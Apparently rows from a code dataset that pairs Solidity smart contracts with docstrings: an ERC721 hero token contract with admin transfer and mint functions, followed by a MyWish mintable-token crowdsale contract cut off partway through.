file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
pragma solidity ^0.4.21; // The contract uses code from zeppelin-solidity library // licensed under MIT license // https://github.com/OpenZeppelin/zeppelin-solidity library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` */ function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4); } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Checks msg.sender can transfer a token, by being owner, approved, or operator * @param _tokenId uint256 ID of the token to validate */ modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existance of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * @dev The zero address indicates there is no approved address. * @dev There can only be one approved address per token at a given time. * @dev Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for a the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * @dev An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) { address owner = ownerOf(_tokenId); return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender); } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @dev Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _user address to check * @return whether the target address is a contract */ function _isContract(address _user) internal view returns (bool) { uint size; assembly { size := extcodesize(_user) } return size > 0; } /** * @dev Internal function to invoke `onERC721Received` on a target address * @dev The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_isContract(_to)) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract Owned { address owner; modifier onlyOwner { require(msg.sender == owner); _; } /// @dev Contract constructor function Owned() public { owner = msg.sender; } } contract HeroLogicInterface { function isTransferAllowed(address _from, address _to, uint256 _tokenId) public view returns (bool); } contract ETHero is Owned, ERC721, ERC721BasicToken { struct HeroData { uint16 fieldA; uint16 fieldB; uint32 fieldC; uint32 fieldD; uint32 fieldE; uint64 fieldF; uint64 fieldG; } // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Prefix for token URIs string public tokenUriPrefix = "https://eth.town/hero-image/"; // Interchangeable logic contract address public logicContract; // Incremental uniqueness index for the genome uint32 public uniquenessIndex = 0; // Last token ID uint256 public lastTokenId = 0; // Users&#39; active heroes mapping(address => uint256) public activeHero; // Hero data mapping(uint256 => HeroData) public heroData; // Genomes mapping(uint256 => uint256) public genome; event ActiveHeroChanged(address indexed _from, uint256 _tokenId); modifier onlyLogicContract { require(msg.sender == logicContract || msg.sender == owner); _; } /** * @dev Constructor function */ function ETHero() public { name_ = "ETH.TOWN Hero"; symbol_ = "HERO"; } /** * @dev Sets the token&#39;s interchangeable logic contract */ function setLogicContract(address _logicContract) external onlyOwner { logicContract = _logicContract; } /** * @dev Gets the token name * @return string representing the token name */ function name() public view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() public view returns (string) { return symbol_; } /** * @dev Internal function to check if transferring a specific token is allowed * @param _from transfer from * @param _to transfer to * @param _tokenId token to transfer */ function _isTransferAllowed(address _from, address _to, uint256 _tokenId) internal view returns (bool) { if (logicContract == address(0)) { return true; } HeroLogicInterface logic = HeroLogicInterface(logicContract); return logic.isTransferAllowed(_from, _to, _tokenId); } /** * @dev Appends uint (in decimal) to a string * @param _str The prefix string * @param _value The uint to append * @return resulting string */ function _appendUintToString(string _str, uint _value) internal pure returns (string) { uint maxLength = 100; bytes memory reversed = new bytes(maxLength); uint i = 0; while (_value != 0) { uint remainder = _value % 10; _value = _value / 10; reversed[i++] = byte(48 + remainder); } i--; bytes memory inStrB = bytes(_str); bytes memory s = new bytes(inStrB.length + i + 1); uint j; for (j = 0; j < inStrB.length; j++) { s[j] = inStrB[j]; } for (j = 0; j <= i; j++) { s[j + inStrB.length] = reversed[i - j]; } return string(s); } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return _appendUintToString(tokenUriPrefix, genome[_tokenId]); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * @dev Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; if (activeHero[_to] == 0) { activeHero[_to] = _tokenId; emit ActiveHeroChanged(_to, _tokenId); } } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; // If a hero is removed from its owner, it no longer can be their active hero if (activeHero[_from] == _tokenId) { activeHero[_from] = 0; emit ActiveHeroChanged(_from, 0); } } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev External function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function mint(address _to, uint256 _tokenId) external onlyLogicContract { _mint(_to, _tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; // Clear genome data if (genome[_tokenId] != 0) { genome[_tokenId] = 0; } } /** * @dev External function to burn a specific token * @dev Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function burn(address _owner, uint256 _tokenId) external onlyLogicContract { _burn(_owner, _tokenId); } /** * @dev Transfers the ownership of a given token ID to another address * @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_isTransferAllowed(_from, _to, _tokenId)); super.transferFrom(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_isTransferAllowed(_from, _to, _tokenId)); super.safeTransferFrom(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId) { require(_isTransferAllowed(_from, _to, _tokenId)); super.safeTransferFrom(_from, _to, _tokenId, _data); } /** * @dev Allows to transfer a token to another owner * @param _to transfer to * @param _tokenId token to transfer */ function transfer(address _to, uint256 _tokenId) external onlyOwnerOf(_tokenId) { require(_isTransferAllowed(msg.sender, _to, _tokenId)); require(_to != address(0)); clearApproval(msg.sender, _tokenId); removeTokenFrom(msg.sender, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(msg.sender, _to, _tokenId); } /** * @dev Sets the specified token as user&#39;s active Hero * @param _tokenId the hero token to set as active */ function setActiveHero(uint256 _tokenId) external onlyOwnerOf(_tokenId) { activeHero[msg.sender] = _tokenId; emit ActiveHeroChanged(msg.sender, _tokenId); } /** * @dev Queries list of tokens owned by a specific address * @param _owner the address to get tokens of */ function tokensOfOwner(address _owner) external view returns (uint256[]) { return ownedTokens[_owner]; } /** * @dev Gets the genome of the active hero * @param _owner the address to get hero of */ function activeHeroGenome(address _owner) public view returns (uint256) { uint256 tokenId = activeHero[_owner]; if (tokenId == 0) { return 0; } return genome[tokenId]; } /** * @dev Increments uniqueness index. Overflow intentionally allowed. */ function incrementUniquenessIndex() external onlyLogicContract { uniquenessIndex ++; } /** * @dev Increments lastTokenId */ function incrementLastTokenId() external onlyLogicContract { lastTokenId ++; } /** * @dev Allows (re-)setting the uniqueness index * @param _uniquenessIndex new value */ function setUniquenessIndex(uint32 _uniquenessIndex) external onlyOwner { uniquenessIndex = _uniquenessIndex; } /** * @dev Allows (re-)setting lastTokenId * @param _lastTokenId new value */ function setLastTokenId(uint256 _lastTokenId) external onlyOwner { lastTokenId = _lastTokenId; } /** * @dev Allows setting hero data for a hero * @param _tokenId hero to set data for * @param _fieldA data to set * @param _fieldB data to set * @param _fieldC data to set * @param _fieldD data to set * @param _fieldE data to set * @param _fieldF data to set * @param _fieldG data to set */ function setHeroData( uint256 _tokenId, uint16 _fieldA, uint16 _fieldB, uint32 _fieldC, uint32 _fieldD, uint32 _fieldE, uint64 _fieldF, uint64 _fieldG ) external onlyLogicContract { heroData[_tokenId] = HeroData( _fieldA, _fieldB, _fieldC, _fieldD, _fieldE, _fieldF, _fieldG ); } /** * @dev Allows setting hero genome * @param _tokenId token to set data for * @param _genome genome data to set */ function setGenome(uint256 _tokenId, uint256 _genome) external onlyLogicContract { genome[_tokenId] = _genome; } /** * @dev Allows the admin to forcefully transfer a token from one address to another * @param _from transfer from * @param _to transfer to * @param _tokenId token to transfer */ function forceTransfer(address _from, address _to, uint256 _tokenId) external onlyLogicContract { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev External function to set the token URI prefix for all tokens * @param _uriPrefix prefix string to assign */ function setTokenUriPrefix(string _uriPrefix) external onlyOwner { tokenUriPrefix = _uriPrefix; } }
Allows the admin to forcefully transfer a token from one address to another _from transfer from _to transfer to _tokenId token to transfer/
function forceTransfer(address _from, address _to, uint256 _tokenId) external onlyLogicContract { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); }
10,955,007
/* * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2018 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.20; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send 